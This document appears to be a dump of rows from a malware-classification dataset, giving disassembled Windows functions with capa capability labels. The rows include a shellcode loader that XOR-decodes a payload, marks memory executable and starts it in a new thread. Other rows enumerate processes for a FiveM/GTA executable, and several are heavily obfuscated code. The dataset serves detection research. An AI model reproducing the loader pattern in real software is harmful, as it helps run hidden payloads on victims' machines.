joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446240
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4463a7
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x446252
cmp edx, ecx
jne 0x446395
nop word [rax + rax]
test rsi, rsi
jne 0x446395
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x4462b4
nop
call fcn.00469060
xorps xmm15, xmm15
mov r14, qword [0x00d84d40]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00446160
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x446390
mov rdx, qword [0x00d2f4d8]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x446385
mov rcx, qword [0x00d2f4d0]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x00d312f0]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x00d312f0], rax
nop
mov edx, 1
lea rsi, [0x00d312f8]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1228]
shr rdx, 0x3d
test dl, dl
jne 0x446373
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1228], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x009382fc]
mov ebx, 0x28
nop
call fcn.004376a0
mov rax, rsi
mov rcx, rdx
call fcn.004677a0
call fcn.00435bc0
lea rax, [0x0093335d]
mov ebx, 0x23
call fcn.004376a0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004654e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00446240
Function at 0x45ad60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45ae0f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x0045ae60]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.004653a0
xorps xmm15, xmm15
mov r14, qword [0x00d84d40]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004654e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.0045ad60
Function at 0x467320
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00d85280]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x00d848da], 0
je 0x467356
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00d85c20]
aesenc xmm0, xmmword [0x00d85c30]
aesenc xmm0, xmmword [0x00d85c40]
movq rax, xmm0
ret
jmp 0x409f60
Function at 0x49e280
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49e34a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403e60
xorps xmm15, xmm15
mov r14, qword [0x00d84d40]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x49e32f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x008b30e0]
xor ebx, ebx
mov rcx, rdx
call fcn.0044bc00
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.0049fe20
inc rbx
cmp rcx, rbx
jae 0x49e31e
mov edi, 1
lea rsi, [0x008b30e0]
call fcn.0044bce0
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x009e7cc0]
lea rsi, [0x009e5ce8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004654e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0049e280
Function at 0x1400010c8
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x2268
call fcn.1400014d0
sub rsp, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x24], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
lea r8, [rsp + 0x28]
mov edx, 0x2000
lea rcx, [rsp + 0x260]
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x140001135
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____EnumProcesses_Failed_With_Error_:__d__n
call fcn.1400013fc
xor eax, eax
jmp 0x140001272
mov eax, dword [rsp + 0x28]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x24], eax
mov edx, dword [rsp + 0x24]
lea rcx, str._i__Number_Of_Processes_Detected_:__d__n
call fcn.1400013fc
mov dword [rsp + 0x20], 0
jmp 0x14000116b
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jae 0x14000126d
movsxd rax, dword [rsp + 0x20]
mov eax, dword [rsp + rax*4 + 0x260]
test rax, rax
je 0x140001268
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rsp + rax*4 + 0x260]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140001268
lea r9, [rsp + 0x38]
mov r8d, 8
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
jne 0x1400011fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
movsxd rcx, dword [rsp + 0x20]
mov r8d, eax
mov edx, dword [rsp + rcx*4 + 0x260]
lea rcx, str.____EnumProcessModules_Failed___At_Pid:__d___With_Error_:__d__n
call fcn.1400013fc
jmp 0x14000125d
mov r9d, 0x104
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_K32GetModuleBaseNameW
test eax, eax
jne 0x14000123b
call qword [sym.imp.KERNEL32.dll_GetLastError]
movsxd rcx, dword [rsp + 0x20]
mov r8d, eax
mov edx, dword [rsp + rcx*4 + 0x260]
lea rcx, str.____GetModuleBaseName_Failed___At_Pid:__d___With_Error_:__d__n
call fcn.1400013fc
jmp 0x14000125d
movsxd rax, dword [rsp + 0x20]
mov r9d, dword [rsp + rax*4 + 0x260]
lea r8, [rsp + 0x50]
mov edx, dword [rsp + 0x20]
lea rcx, str.__0.3d__Process___s____Of_Pid_:__d__n
call fcn.140001454
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001161
mov eax, 1
add rsp, 0x2268
ret
Function at 0x14000130c
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x58
call fcn.1400010c8
mov qword [rsp + 0x38], 0
jmp 0x14000132d
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x115
jae 0x140001368
lea rax, section..data
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x38]
add rcx, 0x30783746
xor rax, rcx
lea rcx, section..data
mov rdx, qword [rsp + 0x38]
mov byte [rcx + rdx], al
jmp 0x140001320
mov r8d, 0x115
lea rdx, section..data
lea rcx, [0x14000423c]
call section..text
mov ecx, 0x1388
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov edx, 0x1388
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 0x115
lea rdx, section..data
mov rcx, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
add rsp, 0x58
ret

Function at 0x140001c58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ca2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ca2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ca2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ca2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ca2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ca4
xor al, al
add rsp, 0x28
ret
Function at 0x140001180
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x470
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov edx, ecx
xor edi, edi
lea ecx, [rdi + 0x18]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011ff
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x438
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x1400011ff
nop
lea rdx, str.FiveM_GTAProcess.exe
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400011fa
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1400011d0
jmp 0x1400011ff
mov rdi, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x488]
add rsp, 0x470
pop rdi
ret

Function at 0x140001340
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400013be
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400013be
nop
lea rdx, str.FiveM_GTAProcess.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400013ba
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001390
jmp 0x1400013be
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x1400025a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025ec
xor al, al
add rsp, 0x28
ret
Function at 0x140002f6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002fb6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002fb6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002fb6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002fb6
cmp dword [rcx + 0x84], 0xe
jbe 0x140002fb6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002fb8
xor al, al
add rsp, 0x28
ret
Function at 0x14081e2ae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmovl r9w, word [rsp + 0x21]
jo 0x1408673d9
and word [rsp + 0x20], 0x72ef
or byte [rsp + 0x20], cl
sub r14, qword [rsp + 0x20]
not byte [rsp + 0x20]
mov rdi, qword [rsp + 0x20]
setbe r9b
jae 0x1408887bd
test qword [rsp + 0x20], r14
lea r14, [r14*4 + 0x35db295e]
not dil
mov byte [rsp + 0x20], r10b
mov rcx, qword [rsp + 0x48]
call fcn.140e90d3f
xor r11w, 0x2b8
sub r11d, 0x37d16e70
ja 0x140867406
neg r8
movabs r10, 0x334f1d1800db23ab
lea r8, [r10*8 + 0x1a3059c1]
or r8d, 0x38de2391
push rcx
or r10b, 0xc7
xor r10d, 0x569c760f
call fcn.140d5b7ca
test r11, 0x40b65103
bswap r11d
jle 0x1408d4c57
test r11d, 0x56f8274a
movzx r11, r11b
not r11w
not r11b
setno r11b
jb 0x1408e7708
and r11b, 0x9f
add r11b, 0x82
or r11b, 0x85
jbe 0x140867416
or r11d, r11d
mov r11, qword [rsp + 0x30]
call fcn.1408eb87c
and r10w, word [rsp + 0x2e]
call fcn.140861e70
and qword [rsp + 0x20], 0x533e0623
lea rsi, [rsi + rsi*4 + 0x1f517e75]
or dword [rsp], 0x159b12cb
jb 0x140ec78ba
mov rsi, qword [rsp + 0x60]
and qword [rsp + 0x20], 0x7be468dc
neg word [rsp]
jns 0x1408887f5
or byte [rsp + 0x20], 0xf
xor qword [rsp + 0x18], 0x135a79c4
and qword [rsp + 0x18], 0x61363f46
setge byte [rsp + 0x20]
je 0x1408887d9
or dword [rsp + 0x20], 0x118705d5
jbe 0x140e07516
call fcn.140d5d038
test r10d, r11d
call fcn.140e90638
pop rbp
mov dh, 0xd7
add dword [rsi - 0x7e0f4dfc], 0x29c7aa4
jle 0x1408d4ca4
jns 0x1408d4ce3
jle 0x1408d4cbb
invalid
invalid
iretd
mov ch, 0xdd
mov bl, 0x42
jb 0x1408d4d03
invalid
invalid
js fcn.140d521f8
neg r11d
sub r11b, 0xa8
jne 0x140844b15
push rdi
call fcn.1408cd509
sub edi, dword [rsp + 3]
not edi
push rdi
bswap r15
neg qword [rsp + 8]
or r15w, word [rsp + 4]
cmp rdi, 0x35cc4235
jb 0x14084c8fa
sete r15b
sub r8w, si
cmp qword [rsp + 8], r8
call fcn.140eae673
shl dword [rdi + rsi*2 + 0x40], cl
imul bx, word [rcx + 0x41], 0xe00e
invalid
invalid
invalid
Function at 0x1408224ab
Capabilities:
Encode data using xor

Disassembly:
mov rdx, qword [rsp + 0x18]
jg 0x140eb7aaa
push r15
movabs r15, 0x2b63186472113dad
pushfq
or r15w, 0x1ce7
push r9
bswap r15
movabs r9, 0x30f639121ba67ea1
and r9d, 0x28924d8a
lea r15, [r9 + r9*2 + 0x20bc3750]
push r8
movabs r8, 0x7bed2dc019d5189a
neg r15d
bswap r15
xor r9b, 8
test r9, r9
mov r9d, 0x40fc4765
jo 0x1408224c9
test r9b, 0xfa
push rbp
push r9
mov r15, qword [rsp + 0x28]
mov qword [rsp + 0x28], 0x3107923c
movabs rbp, 0x3896687209405723
push r12
lea rbp, [rbp + r9*8 + 0x60500260]
mov byte [rsp + 8], 0x1d
movsx r8d, r9w
lea rbp, [r8 + 0x5e6c19f9]
call fcn.140d41111
test ecx, 0x389452e9
movzx ecx, byte [rsp + 0x50]
not rcx
jg 0x140822bb4
invalid
mov dword [rsp + 0x50], ecx
not ecx
or byte [rsp + 0x50], 0x1e
test rcx, rcx
lea rcx, [rcx + rcx*2 + 0x7a265fed]
not cx
mov rcx, qword [rsp + 0x48]
jl 0x1408e9a6a
and word [rsp + 0x50], 0x59fc
jle 0x14088ddfb
sub qword [rsp + 0x50], 0x6f6004f7
not word [rsp + 0x50]
and qword [rsp + 0x50], 0x66434d60
sub byte [rsp + 0x50], 0xea
setae byte [rsp + 0x50]
test byte [rsp + 0x50], 0x66
jno 0x140860262
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + 0x46660bcd], al
or ebp, 0x1f46660b
and dword [rsp + 0x50], 0x5cd27767
add qword [rsp], 0xffffffffbf11f7d3
and al, 0
sal edi, cl
adc dword [rdi + 0x50246481], edi
invalid
invalid
sub cl, byte [rsi]
mov dword [rsp + 0x50], 0x680355e6
xor word [rsp + 0x50], 0x6dea
and dword [rsp + 0x50], 0x70e40643
cmp qword [rsp + 0x50], 0x119b1642
lea rsp, [rsp + 0x28]
ret 0x10
Function at 0x140831315
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movsx r11d, r11b
jbe 0x14083131f
neg qword [rsp + 0x38]
add r15b, 0x11
setge dl
bswap edx
mov r15, qword [rsp + 0x18]
lea rsi, [r13*8 + 0xeb54581]
neg dx
lea r13, [r11 + rdx*2 + 0x79ff7798]
movsx r11, r11b
neg sil
jbe 0x140ea4988
lea rsi, [rdx + rsi + 0x4c8407e7]
cmp si, 0x40b4
setle dl
mov rdx, qword [rsp + 0x28]
mov r13b, 0x72
add r13d, 0x74343db5
add qword [rsp + 8], 0xffffffffbf77ff5a
setl sil
and r13b, r13b
not r11d
lea r13, [r13 + rdx*2 + 0x89d46d7]
or r13w, word [rsp + 0x38]
cmovs r13d, r11d
cmp rsi, 0x123d3d73
jg 0x140ec8efd
movsb byte [rdi], byte [rsi]
mov ecx, 0x26846825
or dword [rax], ebx
push 0x7193dbda
push 0x521de0a8
xchg edi, eax
in al, 0x32
xchg esi, eax
out 0x97, eax
cmp eax, 0x682a4b48
hlt
not r11b
seto byte [rsp + 0x38]
sub word [rsp + 0x38], si
not r13d
jo 0x140d807d9

Function at 0x140831352
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmovle edi, r14d
neg r14
movzx rdx, byte [rsp + 0x38]
neg qword [rsp + 0x40]
sub byte [rsp + 0x38], r14b
mov dx, r14w
mov r8, qword [rsp + 0x30]
not r14d
movzx edx, dx
test word [rsp + 0x39], r14w
movsxd r15, r14d
not rdx
setbe byte [rsp + 0x40]
test byte [rsp + 0x38], 0xc7
movzx dx, dx
setns r14b
mov r15b, 0x35
test r15w, r14w
mov r15w, 0x5f43
mov dx, 0x4a19
movzx r15w, word [rsp + 0x46]
js 0x140ed4a07
mov word [rsp + 0x40], 0x3deb
call fcn.140ed49ff
setne dil
test dword [rsp + 0x48], 0x3725003d
movsx r15w, r14b
mov rdi, qword [rsp + 0x28]
lea rdx, [r15*4 + 0x7c4e52d3]
movsx dx, dx
lea r14, [r14 + r15*8 + 0x76893e2f]
movsx edx, r15w
mov r14, qword [rsp + 0x10]
lea rsp, [rsp + 0x18]
ret

Function at 0x14083a48c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
bswap r14d
je 0x140ee0894
seto r14b
cmovo rbp, r14
setae r14b
mov di, 0x6dd0
setae r14b
xor r14w, 0x6e80
not bp
call fcn.140e983a0
pop rdx
push rax
fldcw word [rcx + 0x12]
invalid
neg cx
push rbp
call fcn.140d4ade8
jns 0x1408a585f
fdiv dword [rbx + 0x6d8629fd]
ret 0xb460
mov edx, 0x30444acd
in al, 0x5d
cmp ecx, dword [rdx + rdx*4]
invalid
ja 0x1408a5810

Function at 0x14083f3e1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jge 0x140d5220c
mov r13, qword [rsp + 0x48]
push rcx
add rbx, qword [rsp + 0x30]
or qword [rsp + 0x18], rbx
add bx, 0x5d6b
movabs rcx, 0x430860be2d0f0af1
sub qword [rsp + 0x68], 0x1ce40564
or byte [rsp + 0x68], 0x58
neg ebx
jb 0x140838fd6
Function at 0x14084b955
Capabilities:
Resolve function by parsing pe exports

Disassembly:
je 0x140eaa2b7
lea rcx, [r15 + rbx + 0x7681bbd]
and r10b, 0x6b
mov ecx, 0xa4e12bc
mov r15b, byte [rsp + 0x68]
mov word [rsp + 0x68], bx
mov r15b, byte [rsp + 0x6b]
xor r15d, ecx
neg bl
add rbp, qword [rsp + 0x68]
test word [rsp + 0x68], 0x30b8
sets r9b
xor r15, r9
sub cl, bpl
not bp
xor r9d, ecx
mov rcx, qword [rsp + 0x78]
lea rbx, [r15*8 + 0x45ae0ccd]
add r9w, word [rsp + 0x39]
xor ebp, 0x3b6c5c8d
movzx r9w, bx
add qword [rsp + 0x18], 0xffffffffffad0031
movzx ebx, byte [rsp + 0x6a]
or r9b, byte [rsp + 0x3e]
je 0x1408f29e5
sub word [rsp + 0x68], 0x7c8d
movzx bx, r10b
jg 0x140fb227c
sub ebp, ebx
cmovle bp, r9w
add bp, r15w
sub dword [rsp + 0x68], 0x109e7de6
cmp ebp, dword [rsp + 0x69]
movzx r9w, r9w
not r15w
seta r9b
test dword [rsp + 0x38], 0x257c088d
mov r10, qword [rsp + 0x28]
movzx bp, bpl
cmovo r15w, bp
add dword [rsp + 0x38], 0x38200a68
add r15b, r9b
neg word [rsp + 0x38]
and dword [rsp + 0x68], r15d
mov qword [rsp + 0x38], 0x2603053e
jle 0x140d3e813
sub dword [rsp + 0x38], 0x47e51f30
movzx ebp, word [rsp + 0x3a]
test word [rsp + 0x3a], r15w
setbe byte [rsp + 0x68]
sub dword [rsp + 0x38], 0x149219bc
mov r9w, 0x56a0
setne byte [rsp + 0x68]
or rbp, 0x6def0e89
lea rbx, [rbx + r15*2 + 0x776416b3]
sub r9, 0x595a2df0
neg bx
mov rbx, qword [rsp + 0x70]
sub dword [rsp + 0x68], 0x5a7674da
xor rbp, qword [rsp + 0x38]
not r9b
cmp byte [rsp + 0x68], r15b
movzx ebp, word [rsp + 0x68]
jge 0x14084c95a
shl byte [rax - 0x3b6c8f14], 0xb3
jo 0x14084ba3e
pop rdi
xchg ecx, eax
sbb dword [rdi + 0x1239b924], ecx
invalid
call fcn.14082c073
mov r11, qword [rsp]
call 0x14085e172
call fcn.14086d5a6
or r15w, r10w
neg dword [rsp + 0x30]
or word [rsp + 0x60], bx
neg rcx
call fcn.14084b955
cmovbe r9w, word [rsp + 0x33]
push r15
cmp sil, 0xff
mov r9b, byte [rsp + 0x3d]
jl 0x14084b98c
push r10
or r9b, bpl
neg si
call fcn.140d56f12
mov r14, qword [rsp + 0x10]
xor r12d, dword [rsp + 0x14]
push rdi
push r12
neg qword [rsp]
je 0x1408c8fb0
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x30]
call fcn.14101268f
invalid

Function at 0x14084c8e7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r15b, dil
add word [rsp + 0x28], 0x7d9
sets r15b
jns 0x1408ab8e4
add r8b, byte [rsp + 0x28]
mov rsi, qword [rsp + 0x20]
neg r15
cmova rdi, qword [rsp + 0x30]
call fcn.140e8d6f0
push rdx
invalid
mov esi, 0x67816d5e
not di
seta byte [rsp + 0x38]
and dil, dil
not dil
sub qword [rsp + 0x38], 0x18aa0fd4
setae byte [rsp + 0x50]
not rsi
mov rdi, qword [rsp + 0x70]
add dword [rsp + 0x58], esi
add qword [rsp + 8], 0xffffffffbf13471a
add qword [rsp + 0x18], 0xffde
test qword [rsp + 0x38], 0x639d418a
mov word [rsp + 0x38], 0x69ff
call fcn.140d6d918
leave
cmp ah, byte ss:[rbx]
jb 0x14084c98e
and al, 0x89
bswap r15
movzx r15d, byte [rsp + 0x34]
add qword [rsp + 0x30], rsi
xor di, word [rsp + 0x2e]
test dword [rsp + 0x30], 0x2a0845d4
cmovg si, word [rsp + 0x2e]
jg 0x140839136
Function at 0x14084e314
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmovno di, word [rsp + 0x36]
add qword [rsp + 0x38], r8
neg qword [rsp + 0x18]
lea rdi, [r9*8 + 0x61da7c1c]
mov r9, qword [rsp + 0x20]
mov r8w, 0x371f
xor word [rsp + 0x38], si
js 0x140e07532
and dil, byte [rsp + 0x1a]

Function at 0x1408508e9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor rsi, 0x4d7a3ca3
neg r8b
add qword [rsp], 0xffffffffbf125d26
or si, word [rsp + 0x33]
push rbp
add qword [rsp + 0x30], 0xfffffffffffbcf6e
neg r10w
jne 0x140f99da8
Function at 0x14085a97e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pushfq
test r11b, r11b
push r14
push r11
jbe 0x14088c361
movabs r14, 0x73af14f6153b3dd0
push rdx
mov rdx, r14
cmovno r11, qword [rsp + 8]
xor r11w, 0x3896
ja 0x140f95d95

Function at 0x14086ca75
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx r12, r12b
jge 0x1408d4787
movsx r10d, r10b
movsx r10w, r10w
lea r11, [r10 + r9*2 + 0x17a54a5c]
setg r10b
and r11, 0x78973839
sub r10d, 0x36f11ad2
sub r11d, 0x782d488d
sub r10, r11
cmp r11w, 0x7e49
bswap r10d
pop r10
add qword [rsp + 0x18], 0xffffffffff95b532
mov r12, qword [rsp + 0x20]
or qword [rsp + 0x28], 0x172b7568
add qword [rsp + 0x10], 0xffffffffbf05da7e
lea rsp, [rsp + 0x18]
ret 0x20

Function at 0x14086d0b1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or bp, 0x7d2e
or qword [rsp + 0x40], 0x6fe73e5a
cmp dword [rsp + 0x30], r15d
movsxd r15, edi
not bpl
mov rbp, qword [rsp + 0x20]
not qword [rsp + 0x50]
jb 0x14088276a
add qword [rsp], 0xffffffffbf74aae0
neg word [rsp + 8]
lea rdi, [rdi + r15*2 + 0xfd10787]
or r15d, dword [rsp + 0xa]
test dword [rsp + 0x10], r15d
test ebp, 0x7f237d33
not word [rsp + 0x40]
setge byte [rsp + 0x18]
neg qword [rsp + 0x40]
sets bpl
and word [rsp + 0x30], di
jl 0x14084c9c6
not dword [rsp + 0x10]
sub dword [rsp + 8], 0x77851ae1
xor dword [rsp + 0x10], ebp
ja 0x14085e0c3
pop rsp
jnp 0x14086d121
cmp al, 0xac
movsb byte [rdi], byte [rsi]
int 0x4b
sub dword [r14 - 0xe4acc33], r10d
mov eax, 0x820115cd
lodsb al, byte [rsi]
int 0x25
and ah, byte [rax - 0x4bb5cdba]
or byte [rbp + 0x32], cl
add al, 0
mov esi, 0x983f3263
test dword [rbp - 0x738ac833], esp
xchg ebx, eax
int 0x9e
shl dword [rdx + 0x52f73261], cl
adc dword [r10], r14d
not dword [rdx + 0x47]
adc dword [rdx], esi
invalid
mov dword [rsp + 0x18], 0x6c312390
not byte [rsp + 0x18]
not word [rsp + 0x18]
mov qword [rsp + 0x18], 0x475d2ce5
jo 0x1408b550f
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x30]
call fcn.14101eec2
mov eax, 0x4f8ef19a
sbb esi, ebx
invalid

Function at 0x14086d4cb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [rsp + 0x10], r12d
ja 0x140d87732
push rbx
mov qword [rsp], r13
push rbp
push rsi
mov rbp, qword [rsp + 0x70]
not qword [rsp + 0x40]
setle r11b
